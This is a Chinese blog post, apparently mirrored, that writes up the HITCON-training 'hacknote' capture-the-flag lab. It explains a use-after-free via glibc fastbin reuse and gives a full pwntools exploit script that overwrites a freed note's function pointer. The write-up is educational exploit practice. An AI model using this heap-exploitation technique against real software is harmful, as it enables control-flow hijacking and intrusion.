zoukankan      html  css  js  c++  java
  • Use After Free

    Use After Free 译为free之后的使用

    内存块被释放后,其对应的指针没有被设置为NULL

    这给我们修改并且执行被释放内存的机会

    这里利用了堆的fastbin机制

    fastbin为了快速的利用堆空间,将较小的chunk统一管理

    具体是把相同大小的chunk单向链表连接,并且满足后进入链表的chunk会先被使用

    这有点类似stack的后进先出

    HITCON-training  lab 10 hacknote

    应该主要有3个功能

    1.增加note

    2.删除note

    3.打印note内容

    一般来说我们最关心的就是删除note操作,如下

    我们发现 删除操作仅仅是把一哥note的head和内容给free掉 并没有将notelist指向NULL

    这样的话我们就可以通过删除后的添加 使得添加的note的head和内容指针指向被释放的chunk地址

    具体操作如下,可以模拟一下

    (截图自https://wiki.x10sec.org/pwn/heap/use_after_free/#_4

    遇到其他类似的题目 只需要申请多个note(head)大小的东西 删除后再申请

    使得某原函数(这里是puts)指针指向我们想跳转的地方即可

    from pwn import *
    
    io=process('./hacknote')
    # io=remote('111.186.57.117',50202)
    
    def add_note(size,note):
        io.sendlineafter('choice :','1')
        io.sendlineafter('size :',str(size))
        io.sendlineafter('Content :',note)
    def del_note(num):
        io.sendlineafter('choice :','2')
        sleep(0.5)
        io.sendline(str(num))
    def print_note(num):
        io.sendlineafter('choice :','3')
        sleep(0.5)
        io.sendline(str(num))
    magic_addr=0x08048986
    add_note(16,'aaaa')
    add_note(16,'bbbb')
    del_note(0)
    del_note(1)
    add_note(8,p32(magic_addr)*2)
    print_note(0)
    
    io.interactive()
  • 相关阅读:
    bzoj1589[Usaco2008 Dec]Trick or Treat on the Farm 采集糖果*
    bzoj1672[Usaco2005 Dec]Cleaning Shifts 清理牛棚*
    bzoj1691[Usaco2007 Dec]挑剔的美食家*
    bzoj1637[Usaco2007 Mar]Balanced Lineup*
    LinkedList源码
    链表
    反向打印链表
    空格替换
    二维数组查找
    待编辑
  • 原文地址:https://www.cnblogs.com/lxy8584099/p/11924638.html
Copyright © 2011-2022 走看看